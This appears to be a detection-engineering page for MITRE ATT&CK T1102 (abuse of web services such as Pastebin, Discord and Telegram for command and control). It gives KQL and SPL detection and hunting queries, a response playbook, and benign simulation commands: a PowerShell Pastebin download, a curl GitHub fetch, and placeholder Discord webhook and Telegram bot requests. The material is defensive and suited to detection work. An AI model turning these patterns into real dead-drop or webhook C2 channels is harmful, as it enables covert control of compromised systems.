T1102

Web Service

Command and Control Last updated:

Adversaries may use an existing, legitimate external web service as a means for relaying data to/from a compromised system. Popular websites and cloud services such as Google Drive, OneDrive, Dropbox, Pastebin, GitHub, and Discord may act as C2 channels due to the high likelihood that hosts within a network already communicate with them. This provides cover in expected noise and takes advantage of SSL/TLS encryption offered by these providers. Use of web services also protects back-end C2 infrastructure from discovery through malware binary analysis while enabling operational resiliency through dynamic infrastructure changes.

What is T1102 Web Service?

Web Service (T1102) maps to the Command and Control tactic — the adversary is trying to communicate with compromised systems to control them in MITRE ATT&CK.

This page provides production-ready detection logic for Web Service, covering the data sources and telemetry it touches: Network Traffic: Network Connection Creation, Process: Process Creation, Microsoft Defender for Endpoint. The queries below are rated medium severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Command and Control
Technique
T1102 Web Service
Canonical reference
https://attack.mitre.org/techniques/T1102/
Microsoft Sentinel / Defender
kusto 
let LegitBrowsers = dynamic(["chrome.exe", "firefox.exe", "msedge.exe", "iexplore.exe", "safari.exe", "opera.exe", "brave.exe"]);
let WebServiceDomains = dynamic([
  "pastebin.com", "paste.ee", "ghostbin.co",
  "api.github.com", "raw.githubusercontent.com", "gist.github.com",
  "graph.microsoft.com", "onedrive.live.com", "api.onedrive.com",
  "www.googleapis.com", "drive.google.com", "storage.googleapis.com",
  "api.dropboxapi.com", "content.dropboxapi.com",
  "discord.com", "discordapp.com", "cdn.discordapp.com",
  "api.telegram.org",
  "slack.com", "api.slack.com",
  "firebaseio.com", "firebase.googleapis.com",
  "api.notion.so",
  "gitee.com",
  "top4top.io"
]);
DeviceNetworkEvents
| where Timestamp > ago(24h)
| where RemoteUrl has_any (WebServiceDomains) or RemoteIPType == "Public"
| join kind=inner (
    DeviceProcessEvents
    | where Timestamp > ago(24h)
    | project DeviceId, ProcessId=tolong(ProcessId), FileName, ProcessCommandLine, InitiatingProcessFileName, AccountName, SHA256
) on DeviceId
| where RemoteUrl has_any (WebServiceDomains)
| where not(InitiatingProcessFileName has_any (LegitBrowsers))
| where not(FileName has_any (LegitBrowsers))
| where FileName !in~ ("OneDriveSetup.exe", "OneDrive.exe", "googledrivesync.exe", "dropbox.exe", "slack.exe", "teams.exe", "discord.exe")
| extend SuspiciousProcess = FileName in~ ("powershell.exe", "pwsh.exe", "cmd.exe", "wscript.exe", "cscript.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe", "certutil.exe", "bitsadmin.exe", "curl.exe", "wget.exe")
| extend ScriptingProcess = FileName in~ ("python.exe", "python3.exe", "ruby.exe", "perl.exe", "node.exe", "wscript.exe", "cscript.exe")
| extend UnusualParent = InitiatingProcessFileName in~ ("winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe", "acrobat.exe", "acrord32.exe")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
         InitiatingProcessFileName, RemoteUrl, RemoteIP, RemotePort,
         SuspiciousProcess, ScriptingProcess, UnusualParent, SHA256
| sort by Timestamp desc

Detects non-browser processes making network connections to known web service platforms commonly abused for C2 (Pastebin, GitHub, Google Drive, OneDrive, Dropbox, Discord, Telegram, Firebase, etc.). Joins DeviceNetworkEvents with DeviceProcessEvents to identify the initiating process. Excludes known legitimate cloud sync clients and browsers. Flags scripting interpreters, LOLBins, and document applications as high-suspicion initiators. Effective against malware families like BoomBox (Dropbox), Nightdoor (OneDrive/Google Drive), Carbon (Pastebin), and Raspberry Robin (Discord).

medium severity medium confidence

Data Sources

Network Traffic: Network Connection Creation Process: Process Creation Microsoft Defender for Endpoint

Required Tables

DeviceNetworkEvents DeviceProcessEvents

False Positives

  • Legitimate developer tools or CI/CD pipelines making API calls to GitHub, Firebase, or Google APIs
  • IT management tools and monitoring agents that poll cloud APIs for configuration or telemetry upload
  • Custom line-of-business applications built on cloud storage APIs (OneDrive, Google Drive SDK integrations)
  • PowerShell scripts used legitimately by administrators to upload logs or reports to cloud storage
  • Antivirus or endpoint agents uploading telemetry to cloud-hosted collection endpoints

Sigma rule & cross-platform mapping

The detection logic for Web Service (T1102) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource: 

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:

SigmaHQ rules for T1102 Sigma rules on detection.fyi

Platform-specific guides for T1102

Detect in Microsoft Sentinel (KQL) Detect in Splunk (SPL) Detect in Elastic Security (Elastic) Detect in IBM QRadar (QRadar) Detect in Sumo Logic CSE (Sumo) Detect in Google Chronicle (YARA-L) Detect in CrowdStrike LogScale (LogScale)
Last updated: 2026-04-14 Research depth: deep
References (5)

Testing Methodology

Validate this detection against 5 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1PowerShell Dead Drop Resolver via Pastebin

    Expected signal: Sysmon Event ID 1: Process Create with Image=powershell.exe, CommandLine containing 'Net.WebClient' and 'pastebin.com'. Sysmon Event ID 3: Network Connection to pastebin.com on port 443. Sysmon Event ID 22: DNS query for pastebin.com. PowerShell ScriptBlock Log Event ID 4104 with the full command.

  2. Test 2Simulated OneDrive C2 Channel via Microsoft Graph API

    Expected signal: Sysmon Event ID 1: Process Create with Image=powershell.exe, CommandLine containing 'Invoke-RestMethod' and 'graph.microsoft.com'. Sysmon Event ID 3: Network Connection to graph.microsoft.com on port 443. Sysmon Event ID 22: DNS query for graph.microsoft.com.

  3. Test 3Curl-based GitHub Raw Content Retrieval (Linux/macOS)

    Expected signal: Syslog/auditd: execve syscall for curl with arguments containing raw.githubusercontent.com. Network connection to 185.199.x.x (GitHub CDN) on port 443. Linux audit log: SYSCALL record with comm=curl, SOCKADDR with dest IP. File creation at /tmp/df00tech-test-payload.txt.

  4. Test 4Discord Webhook C2 Simulation

    Expected signal: Sysmon Event ID 1: Process Create with Image=powershell.exe, CommandLine containing 'discord.com' and 'Invoke-RestMethod'. Sysmon Event ID 3: Network Connection to discord.com port 443. Sysmon Event ID 22: DNS query for discord.com. The request will fail with HTTP 401/404 but the network telemetry will still be generated.

  5. Test 5Python-based Telegram Bot API C2 Simulation

    Expected signal: Sysmon Event ID 1: Process Create with Image=python.exe, CommandLine containing 'api.telegram.org'. Sysmon Event ID 3: Network Connection to api.telegram.org port 443. Sysmon Event ID 22: DNS query for api.telegram.org. The request will return HTTP 401 (invalid token) but network telemetry is generated.

Response Playbook

Triage

  1. Identify the initiating process and its full command line — was it powershell.exe, a scripting engine, or a LOLBin? Extract any URLs referenced in the command line for reputation lookup.
  2. Determine the parent process chain — was the suspicious process spawned by an Office application (Word, Excel, Outlook), a browser, or a service? Office-spawned connections to web services strongly indicate document-based delivery.
  3. Check whether the web service domain contacted is consistent with the application's normal behavior. Query 30 days of DeviceNetworkEvents for this process to establish baseline: did it contact this domain before this event?
  4. Look up the destination domain and URL path — for Pastebin/GitHub raw URLs, attempt to retrieve the content (if still live) to determine payload type. Note the Pastebin paste ID or GitHub gist ID for threat intel pivoting.
  5. Check the user account context — is this a service account, privileged user, or standard user? Correlate with HR/IT records if a privileged account is involved.
  6. Review file system activity around the same timestamp using DeviceFileEvents — was a file downloaded or written to disk? Check %TEMP%, %APPDATA%, and public folders.
  7. Check for follow-on network connections from the same process or child processes — a single connection to Pastebin followed by connections to unknown IPs indicates a dead drop resolver pattern (T1102.001).

Containment

  1. If C2 communication confirmed: isolate the endpoint using EDR network isolation immediately. Do not reboot — volatile memory may contain decryption keys or in-memory payloads.
  2. Block the specific web service URL or API endpoint at the proxy/firewall level (e.g., specific Pastebin paste URL, Discord channel webhook, GitHub raw URL). Avoid blocking the entire domain to minimize business disruption.
  3. If a file was downloaded and executed: quarantine the file via EDR, compute SHA256, and submit to VirusTotal and internal threat intelligence platform.
  4. If the malware uses a Google/Microsoft/Dropbox API with an embedded access token: report the token to the provider's abuse team for revocation — this removes C2 capability without requiring endpoint isolation.
  5. Disable the compromised user account if credential theft is suspected; reset service account passwords and revoke OAuth tokens if a service account was involved.
  6. If multiple endpoints show the same pattern: treat as an active incident. Initiate IR engagement and preserve forensic images before remediation.

Evidence Collection

  1. Process creation telemetry — Sysmon Event ID 1 or Security Event ID 4688 (with command line auditing) for the malicious process and its full ancestry chain.
  2. Network connection telemetry — Sysmon Event ID 3 for all outbound connections from the suspicious process, including destination IP, port, and hostname.
  3. DNS query logs — Sysmon Event ID 22 for DNS queries issued by the process — may reveal additional C2 domains not in initial network connections.
  4. File creation events — Sysmon Event ID 11 for any files written to disk by the process or its children; focus on %TEMP%, %APPDATA%, Downloads, and ProgramData.
  5. Memory forensics — capture a full memory image with WinPMEM or similar tool before isolation. Malware using web service C2 often keeps C2 config and decryption keys only in memory.
  6. Web proxy/firewall logs — retrieve full HTTP request logs for the connection including request headers, User-Agent strings, request body size, and response body size. Encoded C2 commands may be visible.
  7. Browser/application credential stores — check for OAuth tokens or API keys stored by the malware that it used to authenticate to the web service API.
  8. Sysmon Event ID 7 (Image Load) — check for suspicious DLLs loaded by the process, particularly those loading .NET assemblies or HTTP client libraries from unusual paths.

Escalation Criteria

  • ! Process connecting to web service is an Office application, PDF reader, or other document viewer — indicates successful exploitation of a delivered document.
  • ! The contacted URL contains encoded content that decodes to shellcode, a PE file, or another executable payload (check Content-Type and response body size in proxy logs).
  • ! Access token or API key embedded in the binary/script allows analyst to enumerate the C2 channel — this indicates a live operation in progress.
  • ! Multiple endpoints (3 or more) communicating with the same web service URL/path within a short timeframe — indicates automated spreading or a shared initial access payload.
  • ! Evidence of data staging or exfiltration: large uploads to cloud storage APIs (DeviceNetworkEvents showing high BytesSent) or file archive creation (zip/rar/7z) before web service connection.
  • ! The malware demonstrates bidirectional communication (T1102.002): both downloading commands and uploading results to the web service — active operator engagement is likely.

Investigation Guide

Forensic Artifacts

  • > Windows: Browser and application HTTP cache — may contain cached responses from web service C2 channels at %LOCALAPPDATA%\Microsoft\Windows\INetCache\ or equivalent browser cache paths.
  • > Windows: PowerShell ScriptBlock Logs (Event ID 4104) — captures deobfuscated Invoke-WebRequest / Net.WebClient calls including the full URL and any decoded payload.
  • > Windows: Prefetch files at C:\Windows\Prefetch\ — executable names and load-time DLLs confirm which processes accessed web service APIs.
  • > Windows: NTFS $MFT and $LogFile — file system journal entries for any files written from web service downloads even if subsequently deleted.
  • > Network: Proxy/firewall logs with full URL logging — preserves the exact URL path (e.g., Pastebin paste ID, Discord channel ID, GitHub gist ID) for threat intel attribution.
  • > Network: SSL/TLS inspection logs (if deployed) — may capture request body containing encoded C2 commands or response body containing encoded instructions.
  • > Memory: Heap and VAD (Virtual Address Descriptor) entries from memory dump — C2 configuration including embedded API tokens, keys, and C2 URLs often reside only in process heap.
  • > Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings — proxy configuration that may have been modified by malware to route through attacker-controlled proxy before reaching web service.
  • > Linux/macOS: ~/.bash_history, ~/.zsh_history — commands using curl/wget to web service APIs left in shell history.
  • > Linux/macOS: /proc/<pid>/net/tcp and /proc/<pid>/fd — active connections and file descriptors for running malware processes.

Tuning Guidance

The primary tuning challenge for T1102 is the high volume of legitimate traffic to the same domains. Start by building an allowlist of known-legitimate processes that access each web service category: (1) Cloud sync clients — OneDrive.exe, googledrivesync.exe, dropbox.exe should always be excluded; (2) Developer tools — code editors (code.exe, devenv.exe), git.exe, and CI/CD agents that legitimately call GitHub API; (3) IT management agents — your specific EDR, ITSM, and monitoring agents that upload telemetry. Tune the detection in tiers: first alert on Office/PDF applications connecting to these services (highest fidelity, lowest volume), then LOLBins (medium fidelity), then scripting engines (requires additional context like parent process). For environments using GitHub Actions runners or cloud-native CI/CD, consider excluding the runner service accounts from scripting engine alerts. Pastebin, ghostbin, and top4top alerts from non-browser processes should be treated as high-confidence and require minimal tuning. For Discord/Telegram, exclude only the official clients and treat all other process connections as high-suspicion. Enable full URL logging at your web proxy to capture Pastebin paste IDs and GitHub gist IDs — these can be pivoted in threat intelligence databases to attribute campaigns.

Hunting Queries

Hunt for non-browser processes making repeated connections to paste sites and raw content hosting platforms. More than 2 connections suggests beaconing or polling behavior — characteristic of dead drop resolvers that periodically check for updated C2 instructions.

Hunting — KQL
kql 
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteUrl has_any ("pastebin.com", "raw.githubusercontent.com", "gist.github.com", "paste.ee", "ghostbin.co", "firebaseio.com", "top4top.io")
| where InitiatingProcessFileName !in~ ("chrome.exe", "firefox.exe", "msedge.exe", "iexplore.exe", "opera.exe", "brave.exe")
| summarize ConnectionCount=count(), UniqueURLs=dcount(RemoteUrl), FirstSeen=min(Timestamp), LastSeen=max(Timestamp), URLList=make_set(RemoteUrl, 10) by DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine
| where ConnectionCount > 2
| sort by ConnectionCount desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
| where match(lower(DestinationHostname), "(pastebin\.com|raw\.githubusercontent\.com|gist\.github\.com|paste\.ee|ghostbin\.co|firebaseio\.com|top4top\.io)")
| where NOT match(lower(Image), "(chrome\.exe|firefox\.exe|msedge\.exe|iexplore\.exe|opera\.exe|brave\.exe)")
| stats count as ConnectionCount, dc(DestinationHostname) as UniqueURLs, earliest(_time) as FirstSeen, latest(_time) as LastSeen, values(DestinationHostname) as Destinations by host, Image, CommandLine
| where ConnectionCount > 2
| sort - ConnectionCount

Hunt for scripting engines and LOLBins making API calls to major cloud storage platforms (Microsoft Graph, Google APIs, Dropbox, GitHub). These platforms have legitimate SDKs but are increasingly abused by malware like BoomBox (Dropbox), Nightdoor (OneDrive), and various APT tools. Focus on scripting engine and LOLBin initiators which lack business justification for direct API access.

Hunting — KQL
kql 
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteUrl has_any ("graph.microsoft.com", "api.onedrive.com", "www.googleapis.com", "api.dropboxapi.com", "content.dropboxapi.com", "api.github.com")
| where InitiatingProcessFileName !in~ ("OneDrive.exe", "googledrivesync.exe", "dropbox.exe", "teams.exe", "chrome.exe", "firefox.exe", "msedge.exe", "iexplore.exe")
| extend IsScriptingEngine = InitiatingProcessFileName in~ ("powershell.exe", "pwsh.exe", "wscript.exe", "cscript.exe", "python.exe", "python3.exe", "node.exe")
| extend IsLolBin = InitiatingProcessFileName in~ ("certutil.exe", "bitsadmin.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe")
| summarize Count=count(), FirstSeen=min(Timestamp), LastSeen=max(Timestamp), BytesSent=sum(SentBytes), BytesReceived=sum(ReceivedBytes) by DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, IsScriptingEngine, IsLolBin
| sort by Count desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
| where match(lower(DestinationHostname), "(graph\.microsoft\.com|api\.onedrive\.com|www\.googleapis\.com|api\.dropboxapi\.com|content\.dropboxapi\.com|api\.github\.com)")
| where NOT match(lower(Image), "(onedrive\.exe|googledrivesync\.exe|dropbox\.exe|teams\.exe|chrome\.exe|firefox\.exe|msedge\.exe|iexplore\.exe)")
| eval IsScriptingEngine=if(match(lower(Image), "(powershell\.exe|pwsh\.exe|wscript\.exe|cscript\.exe|python\.exe|node\.exe)"), 1, 0)
| eval IsLolBin=if(match(lower(Image), "(certutil\.exe|bitsadmin\.exe|mshta\.exe|rundll32\.exe|regsvr32\.exe)"), 1, 0)
| stats count as Count, earliest(_time) as FirstSeen, latest(_time) as LastSeen by host, Image, CommandLine, IsScriptingEngine, IsLolBin
| sort - Count

Hunt specifically for non-Discord-client processes accessing Discord CDN or Telegram API endpoints. Discord CDN is actively abused by Raspberry Robin and other malware to host RAR-packaged payloads. Telegram Bot API is popular for C2 due to end-to-end encryption and ease of bot creation. Any non-browser, non-Discord-client process accessing these endpoints warrants immediate investigation.

Hunting — KQL
kql 
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteUrl has_any ("discord.com", "discordapp.com", "cdn.discordapp.com", "api.telegram.org")
| where InitiatingProcessFileName !in~ ("discord.exe", "chrome.exe", "firefox.exe", "msedge.exe", "iexplore.exe")
| summarize ConnectionCount=count(), UniqueDevices=dcount(DeviceName), FirstSeen=min(Timestamp), LastSeen=max(Timestamp) by InitiatingProcessFileName, InitiatingProcessCommandLine
| where ConnectionCount > 1
| sort by ConnectionCount desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
| where match(lower(DestinationHostname), "(discord\.com|discordapp\.com|cdn\.discordapp\.com|api\.telegram\.org)")
| where NOT match(lower(Image), "(discord\.exe|chrome\.exe|firefox\.exe|msedge\.exe|iexplore\.exe)")
| stats count as ConnectionCount, dc(host) as UniqueDevices, earliest(_time) as FirstSeen, latest(_time) as LastSeen by Image, CommandLine
| where ConnectionCount > 1
| sort - ConnectionCount

Atomic Red Team Tests

Test 1 PowerShell Dead Drop Resolver via Pastebin
windows

Simulates a malware dead drop resolver by using PowerShell to retrieve content from a Pastebin URL. This mirrors the behavior of Carbon (Turla), Snip3, and FIN6 malware that check Pastebin for encoded C2 instructions. The URL used points to a benign public paste for testing purposes.

Command

powershell 
powershell.exe -NoProfile -Command "(New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/DhPxSN5M')"

Expected Telemetry

Sysmon Event ID 1: Process Create with Image=powershell.exe, CommandLine containing 'Net.WebClient' and 'pastebin.com'. Sysmon Event ID 3: Network Connection to pastebin.com on port 443. Sysmon Event ID 22: DNS query for pastebin.com. PowerShell ScriptBlock Log Event ID 4104 with the full command.

Expected Detection

KQL detection fires: FileName=powershell.exe, RemoteUrl contains pastebin.com. SPL detection fires: Image matches powershell.exe, DestinationHostname matches pastebin.com, SuspiciousProcess=1, RiskScore=3.

Test 2 Simulated OneDrive C2 Channel via Microsoft Graph API
windows

Simulates the BoomBox/Nightdoor pattern of using cloud storage APIs for C2 by issuing a Graph API request from PowerShell. Uses the public Graph API endpoint (no auth token) to generate telemetry matching the Nightdoor/BoomBox network pattern without actual data exfiltration.

Command

powershell 
powershell.exe -NoProfile -Command "Invoke-RestMethod -Uri 'https://graph.microsoft.com/v1.0/' -Method GET -ErrorAction SilentlyContinue"

Expected Telemetry

Sysmon Event ID 1: Process Create with Image=powershell.exe, CommandLine containing 'Invoke-RestMethod' and 'graph.microsoft.com'. Sysmon Event ID 3: Network Connection to graph.microsoft.com on port 443. Sysmon Event ID 22: DNS query for graph.microsoft.com.

Expected Detection

KQL hunting query fires: non-browser process connecting to graph.microsoft.com. SPL fires: DestinationHostname matches graph.microsoft.com, Image=powershell.exe, IsScriptingEngine=1.

Test 3 Curl-based GitHub Raw Content Retrieval (Linux/macOS)
linux

Simulates the LazyScripter and Rocke group pattern of hosting payloads on GitHub and retrieving them with curl. Uses a known public raw GitHub URL to generate the network telemetry pattern. This represents the initial payload staging step.

Command

bash 
curl -s -o /tmp/df00tech-test-payload.txt https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/README.md

Cleanup

bash 
rm -f /tmp/df00tech-test-payload.txt

Expected Telemetry

Syslog/auditd: execve syscall for curl with arguments containing raw.githubusercontent.com. Network connection to 185.199.x.x (GitHub CDN) on port 443. Linux audit log: SYSCALL record with comm=curl, SOCKADDR with dest IP. File creation at /tmp/df00tech-test-payload.txt.

Expected Detection

Linux SPL query fires: process=curl, destination matches raw.githubusercontent.com. Network-level detection identifies curl connecting to GitHub CDN. File creation event at /tmp/ from curl process.

Test 4 Discord Webhook C2 Simulation
windows

Simulates the Raspberry Robin pattern of using Discord for payload hosting and exfiltration by issuing a POST to a Discord webhook URL from PowerShell. Uses a test webhook URL format — replace WEBHOOK_ID and WEBHOOK_TOKEN with a test webhook you control, or observe the DNS/network telemetry even if the request fails.

Command

powershell 
powershell.exe -NoProfile -Command "$body = @{content='df00tech-atomic-test-T1102'} | ConvertTo-Json; try { Invoke-RestMethod -Uri 'https://discord.com/api/webhooks/000000000000000000/test_token_placeholder' -Method POST -Body $body -ContentType 'application/json' -ErrorAction Stop } catch { Write-Host 'Connection attempted, expected failure on invalid webhook' }"

Expected Telemetry

Sysmon Event ID 1: Process Create with Image=powershell.exe, CommandLine containing 'discord.com' and 'Invoke-RestMethod'. Sysmon Event ID 3: Network Connection to discord.com port 443. Sysmon Event ID 22: DNS query for discord.com. The request will fail with HTTP 401/404 but the network telemetry will still be generated.

Expected Detection

KQL hunting query fires: non-browser process (powershell.exe) connecting to discord.com. SPL fires: Image=powershell.exe, DestinationHostname matches discord.com, RiskScore=3. Discord-specific hunting query triggers.

Test 5 Python-based Telegram Bot API C2 Simulation
windows

Simulates malware using Telegram Bot API for C2 by issuing a getMe API call from Python. This pattern is used by multiple RATs and backdoors due to Telegram's end-to-end encryption and high availability. The request uses a dummy bot token to generate network telemetry without actual C2 activity.

Command

powershell 
python.exe -c "import urllib.request; urllib.request.urlopen('https://api.telegram.org/bot000000000:AAFake_Token_For_Testing/getMe')"

Expected Telemetry

Sysmon Event ID 1: Process Create with Image=python.exe, CommandLine containing 'api.telegram.org'. Sysmon Event ID 3: Network Connection to api.telegram.org port 443. Sysmon Event ID 22: DNS query for api.telegram.org. The request will return HTTP 401 (invalid token) but network telemetry is generated.

Expected Detection

KQL main detection fires: python.exe connecting to api.telegram.org with ScriptingProcess=true. SPL fires: IsScriptingEngine=1, DestinationHostname=api.telegram.org, RiskScore=2. Telegram-specific hunting query triggers.

Related Detections

Tactic Hub

TA0011Command and Control

Sub-techniques (3)

Related Techniques

T1102.001Dead Drop ResolverT1102.002Bidirectional CommunicationT1102.003One-Way CommunicationT1071.001Web ProtocolsT1105Ingress Tool TransferT1567Exfiltration Over Web ServiceT1027Obfuscated Files or InformationT1204.001Malicious LinkT1204.002Malicious FileT1566PhishingT1078Valid Accounts

Same Tactic: Command and Control

Popular Detections